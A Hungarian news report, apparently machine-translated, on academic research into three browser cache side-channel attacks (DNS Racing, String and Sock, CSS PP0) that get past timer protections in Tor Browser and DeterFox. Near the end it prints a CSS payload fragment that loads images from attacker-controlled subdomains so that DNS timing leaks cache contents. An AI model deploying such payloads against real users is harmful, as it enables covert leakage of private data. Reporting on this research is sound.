Több amerikai, izraeli és ausztrál egyetem kutatócsoportja három támadást fejlesztett ki, amelyek webböngészőkön futnak, hogy információkat nyerjenek ki a processzor gyorsítótárának tartalmáról. Az egyik módszer JavaScript nélküli böngészőkben működik, a másik kettő pedig megkerüli az oldalcsatornás támadások elleni védelem meglévő módszereit, beleértve a Tor böngészőben és a DeterFoxban használtakat is. A támadások demonstrálására szolgáló kódot, valamint a támadásokhoz szükséges szerverösszetevőket a GitHubon teszik közzé.
A gyorsítótár tartalmának elemzéséhez minden támadás a Prime+Probe módszert használja, amely magában foglalja a gyorsítótár szabványos értékkészlettel való feltöltését és a változások észlelését azáltal, hogy méri a hozzáférési időt az újratöltéskor. A pontos időmérést zavaró, böngészőkben jelenlévő biztonsági mechanizmusok megkerülésére két lehetőség közül a támadó által vezérelt DNS vagy WebSocket szerverhez fordulnak fellebbezéssel, amely naplót vezet a beérkezett kérések idejéről. Az egyik kiviteli alakban egy rögzített DNS-válaszidőt használunk időreferenciaként.
A külső DNS vagy WebSocket szerverekkel, gépi tanuláson alapuló osztályozási rendszerrel végzett mérések elegendőek voltak ahhoz, hogy a legoptimálisabb forgatókönyv esetén akár 98%-os pontossággal előre jelezzék az értékeket (átlagosan 80-90%). A támadási módszereket különféle hardverplatformokon (Intel, AMD Ryzen, Apple M1, Samsung Exynos) tesztelték, és univerzálisnak bizonyultak.
A DNS Racing támadás első változata a Prime+Probe metódus klasszikus megvalósítását használja JavaScript-tömbök használatával. A különbségek egy külső DNS-alapú időzítő és egy hibakezelő használatában merülnek fel, amely akkor aktiválódik, amikor egy nem létező tartományból próbálnak betölteni egy képet. A külső időzítő lehetővé teszi a Prime+Probe támadást olyan böngészők ellen, amelyek korlátozzák vagy teljesen letiltják a JavaScript-időzítők elérését.
Ugyanazon az Ethernet hálózaton található DNS-szervernél az időzítő pontossága körülbelül 2 ms, ami elég egy oldalcsatornás támadás végrehajtásához (összehasonlításképpen a szabványos JavaScript időzítő pontossága a Tor Browserben 100 ms-ra csökkentve). A támadáshoz nincs szükség a DNS-kiszolgáló feletti ellenőrzésre, mivel a művelet végrehajtási ideje úgy van kiválasztva, hogy a DNS-ből érkező válaszidő az ellenőrzés korábbi befejezésének jele legyen (attól függően, hogy a hibakezelő aktiválódott-e korábban vagy később következtetést vonunk le a gyorsítótárral végzett ellenőrzési művelet sebességéről).
A második támadási módszer, a "String and Sock" célja, hogy megkerülje azokat a biztonsági technikákat, amelyek korlátozzák a tömbök alacsony szintű használatát a JavaScriptben. A String and Sock tömbök helyett nagyon nagy karakterláncokon használ műveleteket, amelyek méretét úgy választják meg, hogy a változó lefedje a teljes LLC gyorsítótárat (Last level cache). Ezután az indexOf() függvény segítségével egy kis részkarakterláncot keresünk a karakterláncban, amely kezdetben hiányzik a forrás karakterláncból, azaz. a keresési művelet a teljes karakterláncon átívelő iterációt eredményez. Mivel a sor mérete megfelel az LLC gyorsítótár méretének, a szkennelés lehetővé teszi a gyorsítótár-ellenőrzési művelet végrehajtását a tömbök manipulálása nélkül. A késések mérésére DNS helyett a támadó által vezérelt WebSocket szerver hívása történik - a keresési művelet befejezése előtt és után a sorban lekérdezéseket küldenek, amelyek alapján a szerver kiszámítja a gyorsítótár elemzéséhez használt késleltetést. tartalmat.
A „CSS PP0” támadás harmadik változata HTML-en és CSS-en keresztül valósul meg, és olyan böngészőkben is működhet, amelyekben a JavaScript le van tiltva. A módszer hasonló a "String and Sock"-hoz, de nincs JavaScript-hez kötve. A támadás során CSS-szelektorok jönnek létre, amelyek maszk alapján keresnek. A gyorsítótárat kitöltő kezdeti nagy karakterláncot egy nagyon nagy osztálynévvel rendelkező div tag létrehozásával állítják be. Belül van egy sor más div saját azonosítóval. Mindegyik beágyazott divnek megvan a saját stílusa, egy szelektorral, amely egy részkarakterláncot keres. Az oldal renderelésekor a böngésző először a belső diveket próbálja feldolgozni, ami egy nagy sorban keresési műveletet eredményez. A keresést szándékosan hiányzó maszk használatával hajtják végre, és a teljes soron keresztüli iterációhoz vezet, amely után a „nem” feltétel aktiválódik, és egy véletlenszerű tartományokra hivatkozó háttérképet próbálnak betölteni: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … x x ...
Az aldomaineket a támadó DNS-kiszolgálója szolgálja ki, amely képes mérni a kérések fogadásának késését. A DNS-kiszolgáló az összes kéréshez NXDOMAIN-t ad ki, és naplót vezet a kérések pontos idejéről. A div-készletek feldolgozásának eredményeként a támadó DNS-kiszolgálója egy sor kérést kap, amelyek közötti késések korrelálnak a gyorsítótár tartalmának ellenőrzésének eredményével.
Forrás: opennet.ru